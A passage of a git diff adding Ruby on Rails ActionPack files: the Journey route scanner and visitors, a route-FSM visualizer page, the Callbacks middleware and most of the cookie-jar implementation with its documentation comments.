+          asts = anchored_routes.map(&:ast)
+          Nodes::Or.new(asts) unless asts.empty?
+        end
+      end
+
+      def simulator
+        @simulator ||= begin
+          gtg = GTG::Builder.new(ast).transition_table
+          GTG::Simulator.new(gtg)
+        end
+      end
+
+      def add_route(name, mapping)
+        route = mapping.make_route name, routes.length
+        routes << route
+        partition_route(route)
+        clear_cache!
+        route
+      end
+
+      private
+
+        def clear_cache!
+          @ast                = nil
+          @simulator          = nil
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/journey/scanner.rb b/actionpack/lib/action_dispatch/journey/scanner.rb
new file mode 100644
index 0000000000..4ae77903fa
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/scanner.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+require "strscan"
+
+module ActionDispatch
+  module Journey # :nodoc:
+    class Scanner # :nodoc:
+      def initialize
+        @ss = nil
+      end
+
+      def scan_setup(str)
+        @ss = StringScanner.new(str)
+      end
+
+      def eos?
+        @ss.eos?
+      end
+
+      def pos
+        @ss.pos
+      end
+
+      def pre_match
+        @ss.pre_match
+      end
+
+      def next_token
+        return if @ss.eos?
+
+        until token = scan || @ss.eos?; end
+        token
+      end
+
+      private
+
+        def scan
+          case
+            # /
+          when @ss.skip(/\//)
+            [:SLASH, "/"]
+          when @ss.skip(/\(/)
+            [:LPAREN, "("]
+          when @ss.skip(/\)/)
+            [:RPAREN, ")"]
+          when @ss.skip(/\|/)
+            [:OR, "|"]
+          when @ss.skip(/\./)
+            [:DOT, "."]
+          when text = @ss.scan(/:\w+/)
+            [:SYMBOL, text]
+          when text = @ss.scan(/\*\w+/)
+            [:STAR, text]
+          when text = @ss.scan(/(?:[\w%\-~!$&'*+,;=@]|\\[:()])+/)
+            text.tr! "\\", ""
+            [:LITERAL, text]
+            # any char
+          when text = @ss.scan(/./)
+            [:LITERAL, text]
+          end
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/journey/visitors.rb b/actionpack/lib/action_dispatch/journey/visitors.rb
new file mode 100644
index 0000000000..3395471a85
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/visitors.rb
@@ -0,0 +1,268 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  # :stopdoc:
+  module Journey
+    class Format
+      ESCAPE_PATH    = ->(value) { Router::Utils.escape_path(value) }
+      ESCAPE_SEGMENT = ->(value) { Router::Utils.escape_segment(value) }
+
+      Parameter = Struct.new(:name, :escaper) do
+        def escape(value); escaper.call value; end
+      end
+
+      def self.required_path(symbol)
+        Parameter.new symbol, ESCAPE_PATH
+      end
+
+      def self.required_segment(symbol)
+        Parameter.new symbol, ESCAPE_SEGMENT
+      end
+
+      def initialize(parts)
+        @parts      = parts
+        @children   = []
+        @parameters = []
+
+        parts.each_with_index do |object, i|
+          case object
+          when Journey::Format
+            @children << i
+          when Parameter
+            @parameters << i
+          end
+        end
+      end
+
+      def evaluate(hash)
+        parts = @parts.dup
+
+        @parameters.each do |index|
+          param = parts[index]
+          value = hash[param.name]
+          return "".freeze unless value
+          parts[index] = param.escape value
+        end
+
+        @children.each { |index| parts[index] = parts[index].evaluate(hash) }
+
+        parts.join
+      end
+    end
+
+    module Visitors # :nodoc:
+      class Visitor # :nodoc:
+        DISPATCH_CACHE = {}
+
+        def accept(node)
+          visit(node)
+        end
+
+        private
+
+          def visit(node)
+            send(DISPATCH_CACHE[node.type], node)
+          end
+
+          def binary(node)
+            visit(node.left)
+            visit(node.right)
+          end
+          def visit_CAT(n); binary(n); end
+
+          def nary(node)
+            node.children.each { |c| visit(c) }
+          end
+          def visit_OR(n); nary(n); end
+
+          def unary(node)
+            visit(node.left)
+          end
+          def visit_GROUP(n); unary(n); end
+          def visit_STAR(n); unary(n); end
+
+          def terminal(node); end
+          def visit_LITERAL(n); terminal(n); end
+          def visit_SYMBOL(n);  terminal(n); end
+          def visit_SLASH(n);   terminal(n); end
+          def visit_DOT(n);     terminal(n); end
+
+          private_instance_methods(false).each do |pim|
+            next unless pim =~ /^visit_(.*)$/
+            DISPATCH_CACHE[$1.to_sym] = pim
+          end
+      end
+
+      class FunctionalVisitor # :nodoc:
+        DISPATCH_CACHE = {}
+
+        def accept(node, seed)
+          visit(node, seed)
+        end
+
+        def visit(node, seed)
+          send(DISPATCH_CACHE[node.type], node, seed)
+        end
+
+        def binary(node, seed)
+          visit(node.right, visit(node.left, seed))
+        end
+        def visit_CAT(n, seed); binary(n, seed); end
+
+        def nary(node, seed)
+          node.children.inject(seed) { |s, c| visit(c, s) }
+        end
+        def visit_OR(n, seed); nary(n, seed); end
+
+        def unary(node, seed)
+          visit(node.left, seed)
+        end
+        def visit_GROUP(n, seed); unary(n, seed); end
+        def visit_STAR(n, seed); unary(n, seed); end
+
+        def terminal(node, seed);   seed; end
+        def visit_LITERAL(n, seed); terminal(n, seed); end
+        def visit_SYMBOL(n, seed);  terminal(n, seed); end
+        def visit_SLASH(n, seed);   terminal(n, seed); end
+        def visit_DOT(n, seed);     terminal(n, seed); end
+
+        instance_methods(false).each do |pim|
+          next unless pim =~ /^visit_(.*)$/
+          DISPATCH_CACHE[$1.to_sym] = pim
+        end
+      end
+
+      class FormatBuilder < Visitor # :nodoc:
+        def accept(node); Journey::Format.new(super); end
+        def terminal(node); [node.left]; end
+
+        def binary(node)
+          visit(node.left) + visit(node.right)
+        end
+
+        def visit_GROUP(n); [Journey::Format.new(unary(n))]; end
+
+        def visit_STAR(n)
+          [Journey::Format.required_path(n.left.to_sym)]
+        end
+
+        def visit_SYMBOL(n)
+          symbol = n.to_sym
+          if symbol == :controller
+            [Journey::Format.required_path(symbol)]
+          else
+            [Journey::Format.required_segment(symbol)]
+          end
+        end
+      end
+
+      # Loop through the requirements AST.
+      class Each < FunctionalVisitor # :nodoc:
+        def visit(node, block)
+          block.call(node)
+          super
+        end
+
+        INSTANCE = new
+      end
+
+      class String < FunctionalVisitor # :nodoc:
+        private
+
+          def binary(node, seed)
+            visit(node.right, visit(node.left, seed))
+          end
+
+          def nary(node, seed)
+            last_child = node.children.last
+            node.children.inject(seed) { |s, c|
+              string = visit(c, s)
+              string << "|" unless last_child == c
+              string
+            }
+          end
+
+          def terminal(node, seed)
+            seed + node.left
+          end
+
+          def visit_GROUP(node, seed)
+            visit(node.left, seed.dup << "(") << ")"
+          end
+
+          INSTANCE = new
+      end
+
+      class Dot < FunctionalVisitor # :nodoc:
+        def initialize
+          @nodes = []
+          @edges = []
+        end
+
+        def accept(node, seed = [[], []])
+          super
+          nodes, edges = seed
+          <<-eodot
+  digraph parse_tree {
+    size="8,5"
+    node [shape = none];
+    edge [dir = none];
+    #{nodes.join "\n"}
+    #{edges.join("\n")}
+  }
+          eodot
+        end
+
+        private
+
+          def binary(node, seed)
+            seed.last.concat node.children.map { |c|
+              "#{node.object_id} -> #{c.object_id};"
+            }
+            super
+          end
+
+          def nary(node, seed)
+            seed.last.concat node.children.map { |c|
+              "#{node.object_id} -> #{c.object_id};"
+            }
+            super
+          end
+
+          def unary(node, seed)
+            seed.last << "#{node.object_id} -> #{node.left.object_id};"
+            super
+          end
+
+          def visit_GROUP(node, seed)
+            seed.first << "#{node.object_id} [label=\"()\"];"
+            super
+          end
+
+          def visit_CAT(node, seed)
+            seed.first << "#{node.object_id} [label=\"○\"];"
+            super
+          end
+
+          def visit_STAR(node, seed)
+            seed.first << "#{node.object_id} [label=\"*\"];"
+            super
+          end
+
+          def visit_OR(node, seed)
+            seed.first << "#{node.object_id} [label=\"|\"];"
+            super
+          end
+
+          def terminal(node, seed)
+            value = node.left
+
+            seed.first << "#{node.object_id} [label=\"#{value}\"];"
+            seed
+          end
+          INSTANCE = new
+      end
+    end
+  end
+  # :startdoc:
+end
diff --git a/actionpack/lib/action_dispatch/journey/visualizer/fsm.css b/actionpack/lib/action_dispatch/journey/visualizer/fsm.css
new file mode 100644
index 0000000000..403e16a7bb
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/visualizer/fsm.css
@@ -0,0 +1,30 @@
+body {
+  font-family: "Helvetica Neue", Helvetica, Arial, Sans-Serif;
+  margin: 0;
+}
+
+h1 {
+  font-size: 2.0em; font-weight: bold; text-align: center;
+  color: white; background-color: black;
+  padding: 5px 0;
+  margin: 0 0 20px;
+}
+
+h2 {
+  text-align: center;
+  display: none;
+  font-size: 0.5em;
+}
+
+.clearfix {display: inline-block; }
+.input { overflow: show;}
+.instruction { color: #666; padding: 0 30px 20px; font-size: 0.9em}
+.instruction p { padding: 0 0 5px; }
+.instruction li { padding: 0 10px 5px; }
+
+.form { background: #EEE; padding: 20px 30px; border-radius: 5px; margin-left: auto; margin-right: auto; width: 500px; margin-bottom: 20px}
+.form p, .form form { text-align: center }
+.form form {padding: 0 10px 5px; }
+.form .fun_routes { font-size: 0.9em;}
+.form .fun_routes a { margin: 0 5px 0 0; }
+
diff --git a/actionpack/lib/action_dispatch/journey/visualizer/fsm.js b/actionpack/lib/action_dispatch/journey/visualizer/fsm.js
new file mode 100644
index 0000000000..d9bcaef928
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/visualizer/fsm.js
@@ -0,0 +1,134 @@
+function tokenize(input, callback) {
+  while(input.length > 0) {
+    callback(input.match(/^[\/\.\?]|[^\/\.\?]+/)[0]);
+    input = input.replace(/^[\/\.\?]|[^\/\.\?]+/, '');
+  }
+}
+
+var graph = d3.select("#chart-2 svg");
+var svg_edges = {};
+var svg_nodes = {};
+
+graph.selectAll("g.edge").each(function() {
+  var node  = d3.select(this);
+  var index = node.select("title").text().split("->");
+  var left  = parseInt(index[0]);
+  var right = parseInt(index[1]);
+
+  if(!svg_edges[left]) { svg_edges[left] = {} }
+  svg_edges[left][right] = node;
+});
+
+graph.selectAll("g.node").each(function() {
+  var node  = d3.select(this);
+  var index = parseInt(node.select("title").text());
+  svg_nodes[index] = node;
+});
+
+function reset_graph() {
+  for(var key in svg_edges) {
+    for(var mkey in svg_edges[key]) {
+      var node = svg_edges[key][mkey];
+      var path = node.select("path");
+      var arrow = node.select("polygon");
+      path.style("stroke", "black");
+      arrow.style("stroke", "black").style("fill", "black");
+    }
+  }
+
+  for(var key in svg_nodes) {
+    var node = svg_nodes[key];
+    node.select('ellipse').style("fill", "white");
+    node.select('polygon').style("fill", "white");
+  }
+  return false;
+}
+
+function highlight_edge(from, to) {
+  var node = svg_edges[from][to];
+  var path = node.select("path");
+  var arrow = node.select("polygon");
+
+  path
+    .transition().duration(500)
+    .style("stroke", "green");
+
+  arrow
+    .transition().duration(500)
+    .style("stroke", "green").style("fill", "green");
+}
+
+function highlight_state(index, color) {
+  if(!color) { color = "green"; }
+
+  svg_nodes[index].select('ellipse')
+    .style("fill", "white")
+    .transition().duration(500)
+    .style("fill", color);
+}
+
+function highlight_finish(index) {
+  svg_nodes[index].select('polygon')
+    .style("fill", "while")
+    .transition().duration(500)
+    .style("fill", "blue");
+}
+
+function match(input) {
+  reset_graph();
+  var table         = tt();
+  var states        = [0];
+  var regexp_states = table['regexp_states'];
+  var string_states = table['string_states'];
+  var accepting     = table['accepting'];
+
+  highlight_state(0);
+
+  tokenize(input, function(token) {
+    var new_states = [];
+    for(var key in states) {
+      var state = states[key];
+
+      if(string_states[state] && string_states[state][token]) {
+        var new_state = string_states[state][token];
+        highlight_edge(state, new_state);
+        highlight_state(new_state);
+        new_states.push(new_state);
+      }
+
+      if(regexp_states[state]) {
+        for(var key in regexp_states[state]) {
+          var re = new RegExp("^" + key + "$");
+          if(re.test(token)) {
+            var new_state = regexp_states[state][key];
+            highlight_edge(state, new_state);
+            highlight_state(new_state);
+            new_states.push(new_state);
+          }
+        }
+      }
+    }
+
+    if(new_states.length == 0) {
+      return;
+    }
+    states = new_states;
+  });
+
+  for(var key in states) {
+    var state = states[key];
+    if(accepting[state]) {
+      for(var mkey in svg_edges[state]) {
+        if(!regexp_states[mkey] && !string_states[mkey]) {
+          highlight_edge(state, mkey);
+          highlight_finish(mkey);
+        }
+      }
+    } else {
+      highlight_state(state, "red");
+    }
+  }
+
+  return false;
+}
+
diff --git a/actionpack/lib/action_dispatch/journey/visualizer/index.html.erb b/actionpack/lib/action_dispatch/journey/visualizer/index.html.erb
new file mode 100644
index 0000000000..9b28a65200
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/visualizer/index.html.erb
@@ -0,0 +1,52 @@
+<!DOCTYPE html>
+<html>
+  <head>
+    <title><%= title %></title>
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.css" type="text/css">
+    <style>
+      <% stylesheets.each do |style| %>
+        <%= style %>
+      <% end %>
+    </style>
+    <script src="https://cdnjs.cloudflare.com/ajax/libs/d3/3.4.8/d3.min.js" type="text/javascript"></script>
+  </head>
+  <body>
+    <div id="wrapper">
+      <h1>Routes FSM with NFA simulation</h1>
+      <div class="instruction form">
+        <p>
+        Type a route in to the box and click "simulate".
+        </p>
+        <form onsubmit="return match(this.route.value);">
+          <input type="text" size="30" name="route" value="/articles/new" />
+          <button>simulate</button>
+          <input type="reset" value="reset" onclick="return reset_graph();"/>
+        </form>
+        <p class="fun_routes">
+          Some fun routes to try:
+          <% fun_routes.each do |path| %>
+             <a href="#" onclick="document.forms[0].elements[0].value=this.text.replace(/^\s+|\s+$/g,''); return match(this.text.replace(/^\s+|\s+$/g,''));">
+               <%= path %>
+             </a>
+          <% end %>
+        </p>
+      </div>
+      <div class='chart' id='chart-2'>
+        <%= svg %>
+      </div>
+      <div class="instruction">
+        <p>
+        This is a FSM for a system that has the following routes:
+        </p>
+        <ul>
+          <% paths.each do |route| %>
+            <li><%= route %></li>
+          <% end %>
+        </ul>
+      </div>
+    </div>
+    <% javascripts.each do |js| %>
+      <script><%= js %></script>
+    <% end %>
+  </body>
+</html>
diff --git a/actionpack/lib/action_dispatch/middleware/callbacks.rb b/actionpack/lib/action_dispatch/middleware/callbacks.rb
new file mode 100644
index 0000000000..5b2ad36dd5
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/callbacks.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  # Provides callbacks to be executed before and after dispatching the request.
+  class Callbacks
+    include ActiveSupport::Callbacks
+
+    define_callbacks :call
+
+    class << self
+      def before(*args, &block)
+        set_callback(:call, :before, *args, &block)
+      end
+
+      def after(*args, &block)
+        set_callback(:call, :after, *args, &block)
+      end
+    end
+
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      error = nil
+      result = run_callbacks :call do
+        begin
+          @app.call(env)
+        rescue => error
+        end
+      end
+      raise error if error
+      result
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/cookies.rb b/actionpack/lib/action_dispatch/middleware/cookies.rb
new file mode 100644
index 0000000000..5a55ee13ee
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/cookies.rb
@@ -0,0 +1,674 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/keys"
+require "active_support/key_generator"
+require "active_support/message_verifier"
+require "active_support/json"
+require "rack/utils"
+
+module ActionDispatch
+  class Request
+    def cookie_jar
+      fetch_header("action_dispatch.cookies".freeze) do
+        self.cookie_jar = Cookies::CookieJar.build(self, cookies)
+      end
+    end
+
+    # :stopdoc:
+    prepend Module.new {
+      def commit_cookie_jar!
+        cookie_jar.commit!
+      end
+    }
+
+    def have_cookie_jar?
+      has_header? "action_dispatch.cookies".freeze
+    end
+
+    def cookie_jar=(jar)
+      set_header "action_dispatch.cookies".freeze, jar
+    end
+
+    def key_generator
+      get_header Cookies::GENERATOR_KEY
+    end
+
+    def signed_cookie_salt
+      get_header Cookies::SIGNED_COOKIE_SALT
+    end
+
+    def encrypted_cookie_salt
+      get_header Cookies::ENCRYPTED_COOKIE_SALT
+    end
+
+    def encrypted_signed_cookie_salt
+      get_header Cookies::ENCRYPTED_SIGNED_COOKIE_SALT
+    end
+
+    def authenticated_encrypted_cookie_salt
+      get_header Cookies::AUTHENTICATED_ENCRYPTED_COOKIE_SALT
+    end
+
+    def secret_token
+      get_header Cookies::SECRET_TOKEN
+    end
+
+    def secret_key_base
+      get_header Cookies::SECRET_KEY_BASE
+    end
+
+    def cookies_serializer
+      get_header Cookies::COOKIES_SERIALIZER
+    end
+
+    def cookies_digest
+      get_header Cookies::COOKIES_DIGEST
+    end
+    # :startdoc:
+  end
+
+  # \Cookies are read and written through ActionController#cookies.
+  #
+  # The cookies being read are the ones received along with the request, the cookies
+  # being written will be sent out with the response. Reading a cookie does not get
+  # the cookie object itself back, just the value it holds.
+  #
+  # Examples of writing:
+  #
+  #   # Sets a simple session cookie.
+  #   # This cookie will be deleted when the user's browser is closed.
+  #   cookies[:user_name] = "david"
+  #
+  #   # Cookie values are String based. Other data types need to be serialized.
+  #   cookies[:lat_lon] = JSON.generate([47.68, -122.37])
+  #
+  #   # Sets a cookie that expires in 1 hour.
+  #   cookies[:login] = { value: "XJ-122", expires: 1.hour.from_now }
+  #
+  #   # Sets a signed cookie, which prevents users from tampering with its value.
+  #   # The cookie is signed by your app's `secrets.secret_key_base` value.
+  #   # It can be read using the signed method `cookies.signed[:name]`
+  #   cookies.signed[:user_id] = current_user.id
+  #
+  #   # Sets an encrypted cookie value before sending it to the client which
+  #   # prevent users from reading and tampering with its value.
+  #   # The cookie is signed by your app's `secrets.secret_key_base` value.
+  #   # It can be read using the encrypted method `cookies.encrypted[:name]`
+  #   cookies.encrypted[:discount] = 45
+  #
+  #   # Sets a "permanent" cookie (which expires in 20 years from now).
+  #   cookies.permanent[:login] = "XJ-122"
+  #
+  #   # You can also chain these methods:
+  #   cookies.permanent.signed[:login] = "XJ-122"
+  #
+  # Examples of reading:
+  #
+  #   cookies[:user_name]           # => "david"
+  #   cookies.size                  # => 2
+  #   JSON.parse(cookies[:lat_lon]) # => [47.68, -122.37]
+  #   cookies.signed[:login]        # => "XJ-122"
+  #   cookies.encrypted[:discount]  # => 45
+  #
+  # Example for deleting:
+  #
+  #   cookies.delete :user_name
+  #
+  # Please note that if you specify a :domain when setting a cookie, you must also specify the domain when deleting the cookie:
+  #
+  #  cookies[:name] = {
+  #    value: 'a yummy cookie',
+  #    expires: 1.year.from_now,
+  #    domain: 'domain.com'
+  #  }
+  #
+  #  cookies.delete(:name, domain: 'domain.com')
+  #
+  # The option symbols for setting cookies are:
+  #
+  # * <tt>:value</tt> - The cookie's value.
+  # * <tt>:path</tt> - The path for which this cookie applies. Defaults to the root
+  #   of the application.
+  # * <tt>:domain</tt> - The domain for which this cookie applies so you can
+  #   restrict to the domain level. If you use a schema like www.example.com
+  #   and want to share session with user.example.com set <tt>:domain</tt>
+  #   to <tt>:all</tt>. Make sure to specify the <tt>:domain</tt> option with
+  #   <tt>:all</tt> or <tt>Array</tt> again when deleting cookies.
+  #
+  #     domain: nil  # Does not set cookie domain. (default)
+  #     domain: :all # Allow the cookie for the top most level
+  #                  # domain and subdomains.
+  #     domain: %w(.example.com .example.org) # Allow the cookie
+  #                                           # for concrete domain names.
+  #
+  # * <tt>:tld_length</tt> - When using <tt>:domain => :all</tt>, this option can be used to explicitly
+  #   set the TLD length when using a short (<= 3 character) domain that is being interpreted as part of a TLD.
+  #   For example, to share cookies between user1.lvh.me and user2.lvh.me, set <tt>:tld_length</tt> to 1.
+  # * <tt>:expires</tt> - The time at which this cookie expires, as a \Time object.
+  # * <tt>:secure</tt> - Whether this cookie is only transmitted to HTTPS servers.
+  #   Default is +false+.
+  # * <tt>:httponly</tt> - Whether this cookie is accessible via scripting or
+  #   only HTTP. Defaults to +false+.
+  class Cookies
+    HTTP_HEADER   = "Set-Cookie".freeze
+    GENERATOR_KEY = "action_dispatch.key_generator".freeze
+    SIGNED_COOKIE_SALT = "action_dispatch.signed_cookie_salt".freeze
+    ENCRYPTED_COOKIE_SALT = "action_dispatch.encrypted_cookie_salt".freeze
+    ENCRYPTED_SIGNED_COOKIE_SALT = "action_dispatch.encrypted_signed_cookie_salt".freeze
+    AUTHENTICATED_ENCRYPTED_COOKIE_SALT = "action_dispatch.authenticated_encrypted_cookie_salt".freeze
+    SECRET_TOKEN = "action_dispatch.secret_token".freeze
+    SECRET_KEY_BASE = "action_dispatch.secret_key_base".freeze
+    COOKIES_SERIALIZER = "action_dispatch.cookies_serializer".freeze
+    COOKIES_DIGEST = "action_dispatch.cookies_digest".freeze
+
+    # Cookies can typically store 4096 bytes.
+    MAX_COOKIE_SIZE = 4096
+
+    # Raised when storing more than 4K of session data.
+    CookieOverflow = Class.new StandardError
+
+    # Include in a cookie jar to allow chaining, e.g. cookies.permanent.signed.
+    module ChainedCookieJars
+      # Returns a jar that'll automatically set the assigned cookies to have an expiration date 20 years from now. Example:
+      #
+      #   cookies.permanent[:prefers_open_id] = true
+      #   # => Set-Cookie: prefers_open_id=true; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
+      #
+      # This jar is only meant for writing. You'll read permanent cookies through the regular accessor.
+      #
+      # This jar allows chaining with the signed jar as well, so you can set permanent, signed cookies. Examples:
+      #
+      #   cookies.permanent.signed[:remember_me] = current_user.id
+      #   # => Set-Cookie: remember_me=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
+      def permanent
+        @permanent ||= PermanentCookieJar.new(self)
+      end
+
+      # Returns a jar that'll automatically generate a signed representation of cookie value and verify it when reading from
+      # the cookie again. This is useful for creating cookies with values that the user is not supposed to change. If a signed
+      # cookie was tampered with by the user (or a 3rd party), +nil+ will be returned.
+      #
+      # If +secrets.secret_key_base+ and +secrets.secret_token+ (deprecated) are both set,
+      # legacy cookies signed with the old key generator will be transparently upgraded.
+      #
+      # This jar requires that you set a suitable secret for the verification on your app's +secrets.secret_key_base+.
+      #
+      # Example:
+      #
+      #   cookies.signed[:discount] = 45
+      #   # => Set-Cookie: discount=BAhpMg==--2c1c6906c90a3bc4fd54a51ffb41dffa4bf6b5f7; path=/
+      #
+      #   cookies.signed[:discount] # => 45
+      def signed
+        @signed ||=
+          if upgrade_legacy_signed_cookies?
+            UpgradeLegacySignedCookieJar.new(self)
+          else
+            SignedCookieJar.new(self)
+          end
+      end
+
+      # Returns a jar that'll automatically encrypt cookie values before sending them to the client and will decrypt them for read.
+      # If the cookie was tampered with by the user (or a 3rd party), +nil+ will be returned.
+      #
+      # If +secrets.secret_key_base+ and +secrets.secret_token+ (deprecated) are both set,
+      # legacy cookies signed with the old key generator will be transparently upgraded.
+      #
+      # If +config.action_dispatch.encrypted_cookie_salt+ and +config.action_dispatch.encrypted_signed_cookie_salt+
+      # are both set, legacy cookies encrypted with HMAC AES-256-CBC will be transparently upgraded.
+      #
+      # This jar requires that you set a suitable secret for the verification on your app's +secrets.secret_key_base+.
+      #
+      # Example:
+      #
+      #   cookies.encrypted[:discount] = 45
+      #   # => Set-Cookie: discount=ZS9ZZ1R4cG1pcUJ1bm80anhQang3dz09LS1mbDZDSU5scGdOT3ltQ2dTdlhSdWpRPT0%3D--ab54663c9f4e3bc340c790d6d2b71e92f5b60315; path=/
+      #
+      #   cookies.encrypted[:discount] # => 45
+      def encrypted
+        @encrypted ||=
+          if upgrade_legacy_signed_cookies?
+            UpgradeLegacyEncryptedCookieJar.new(self)
+          elsif upgrade_legacy_hmac_aes_cbc_cookies?
+            UpgradeLegacyHmacAesCbcCookieJar.new(self)
+          else
+            EncryptedCookieJar.new(self)
+          end
+      end
+
+      # Returns the +signed+ or +encrypted+ jar, preferring +encrypted+ if +secret_key_base+ is set.
+      # Used by ActionDispatch::Session::CookieStore to avoid the need to introduce new cookie stores.
+      def signed_or_encrypted
+        @signed_or_encrypted ||=
+          if request.secret_key_base.present?
+            encrypted
+          else
+            signed
+          end
+      end
+
+      private
+
+        def upgrade_legacy_signed_cookies?
+          request.secret_token.present? && request.secret_key_base.present?
+        end
+
+        def upgrade_legacy_hmac_aes_cbc_cookies?
+          request.secret_key_base.present?                       &&
+            request.authenticated_encrypted_cookie_salt.present? &&
+            request.encrypted_signed_cookie_salt.present?        &&
+            request.encrypted_cookie_salt.present?
+        end
+    end
+
+    # Passing the ActiveSupport::MessageEncryptor::NullSerializer downstream
+    # to the Message{Encryptor,Verifier} allows us to handle the
+    # (de)serialization step within the cookie jar, which gives us the
+    # opportunity to detect and migrate legacy cookies.
+    module VerifyAndUpgradeLegacySignedMessage # :nodoc:
+      def initialize(*args)
+        super
+        @legacy_verifier = ActiveSupport::MessageVerifier.new(request.secret_token, serializer: ActiveSupport::MessageEncryptor::NullSerializer)
+      end
+
+      def verify_and_upgrade_legacy_signed_message(name, signed_message)
+        deserialize(name, @legacy_verifier.verify(signed_message)).tap do |value|
+          self[name] = { value: value }
+        end
+      rescue ActiveSupport::MessageVerifier::InvalidSignature
+        nil
+      end
+
+      private
+        def parse(name, signed_message)
+          super || verify_and_upgrade_legacy_signed_message(name, signed_message)
+        end
+    end
+
+    class CookieJar #:nodoc:
+      include Enumerable, ChainedCookieJars
+
+      # This regular expression is used to split the levels of a domain.
+      # The top level domain can be any string without a period or
+      # **.**, ***.** style TLDs like co.uk or com.au
+      #
+      # www.example.co.uk gives:
+      # $& => example.co.uk
+      #
+      # example.com gives:
+      # $& => example.com
+      #
+      # lots.of.subdomains.example.local gives:
+      # $& => example.local
+      DOMAIN_REGEXP = /[^.]*\.([^.]*|..\...|...\...)$/
+
+      def self.build(req, cookies)
+        new(req).tap do |hash|
+          hash.update(cookies)
+        end
+      end
+
+      attr_reader :request
+
+      def initialize(request)
+        @set_cookies = {}
+        @delete_cookies = {}
+        @request = request
+        @cookies = {}
+        @committed = false
+      end
+
+      def committed?; @committed; end
+
+      def commit!
+        @committed = true
+        @set_cookies.freeze
+        @delete_cookies.freeze
+      end
+
+      def each(&block)
+        @cookies.each(&block)
+      end
+
+      # Returns the value of the cookie by +name+, or +nil+ if no such cookie exists.
+      def [](name)
+        @cookies[name.to_s]
+      end
+
+      def fetch(name, *args, &block)
+        @cookies.fetch(name.to_s, *args, &block)
+      end
+
+      def key?(name)
+        @cookies.key?(name.to_s)
+      end
+      alias :has_key? :key?
+
+      def update(other_hash)
+        @cookies.update other_hash.stringify_keys
+        self
+      end
+
+      def update_cookies_from_jar
+        request_jar = @request.cookie_jar.instance_variable_get(:@cookies)
+        set_cookies = request_jar.reject { |k, _| @delete_cookies.key?(k) }
+
+        @cookies.update set_cookies if set_cookies
+      end
+
+      def to_header
+        @cookies.map { |k, v| "#{escape(k)}=#{escape(v)}" }.join "; "
+      end
+
+      def handle_options(options) #:nodoc:
+        options[:path] ||= "/"
+
+        if options[:domain] == :all || options[:domain] == "all"
+          # If there is a provided tld length then we use it otherwise default domain regexp.
+          domain_regexp = options[:tld_length] ? /([^.]+\.?){#{options[:tld_length]}}$/ : DOMAIN_REGEXP
+
+          # If host is not ip and matches domain regexp.
+          # (ip confirms to domain regexp so we explicitly check for ip)
+          options[:domain] = if (request.host !~ /^[\d.]+$/) && (request.host =~ domain_regexp)
+            ".#{$&}"
+          end
+        elsif options[:domain].is_a? Array
+          # If host matches one of the supplied domains without a dot in front of it.
+          options[:domain] = options[:domain].find { |domain| request.host.include? domain.sub(/^\./, "") }
+        end
+      end
+
+      # Sets the cookie named +name+. The second argument may be the cookie's
+      # value or a hash of options as documented above.
+      def []=(name, options)
+        if options.is_a?(Hash)
+          options.symbolize_keys!
+          value = options[:value]
+        else
+          value = options
+          options = { value: value }
+        end
+
+        handle_options(options)
+
+        if @cookies[name.to_s] != value || options[:expires]
+          @cookies[name.to_s] = value
+          @set_cookies[name.to_s] = options
+          @delete_cookies.delete(name.to_s)
+        end
+
+        value
+      end
+
+      # Removes the cookie on the client machine by setting the value to an empty string
+      # and the expiration date in the past. Like <tt>[]=</tt>, you can pass in
+      # an options hash to delete cookies with extra data such as a <tt>:path</tt>.
+      def delete(name, options = {})
+        return unless @cookies.has_key? name.to_s
+
+        options.symbolize_keys!
+        handle_options(options)
+
+        value = @cookies.delete(name.to_s)
+        @delete_cookies[name.to_s] = options
+        value
+      end
+
+      # Whether the given cookie is to be deleted by this CookieJar.
+      # Like <tt>[]=</tt>, you can pass in an options hash to test if a
+      # deletion applies to a specific <tt>:path</tt>, <tt>:domain</tt> etc.
+      def deleted?(name, options = {})
+        options.symbolize_keys!
+        handle_options(options)
+        @delete_cookies[name.to_s] == options
+      end
+
+      # Removes all cookies on the client machine by calling <tt>delete</tt> for each cookie.
+      def clear(options = {})
+        @cookies.each_key { |k| delete(k, options) }
+      end
+
+      def write(headers)
+        if header = make_set_cookie_header(headers[HTTP_HEADER])
+          headers[HTTP_HEADER] = header
+        end
+      end
+
+      mattr_accessor :always_write_cookie, default: false
+
+      private
+
+        def escape(string)
+          ::Rack::Utils.escape(string)
+        end
+
+        def make_set_cookie_header(header)
+          header = @set_cookies.inject(header) { |m, (k, v)|
+            if write_cookie?(v)
+              ::Rack::Utils.add_cookie_to_header(m, k, v)
+            else
+              m
+            end
+          }
+          @delete_cookies.inject(header) { |m, (k, v)|
+            ::Rack::Utils.add_remove_cookie_to_header(m, k, v)
+          }
+        end
+
+        def write_cookie?(cookie)
+          request.ssl? || !cookie[:secure] || always_write_cookie
+        end
+    end
+
+    class AbstractCookieJar # :nodoc:
+      include ChainedCookieJars
+
+      def initialize(parent_jar)
+        @parent_jar = parent_jar
+      end
+
+      def [](name)
+        if data = @parent_jar[name.to_s]
+          parse name, data
+        end
+      end
+
+      def []=(name, options)
+        if options.is_a?(Hash)
+          options.symbolize_keys!
+        else
+          options = { value: options }
+        end
+
+        commit(options)
+        @parent_jar[name] = options
+      end
+
+      protected
+        def request; @parent_jar.request; end
+
+      private
+        def parse(name, data); data; end
+        def commit(options); end
+    end
+
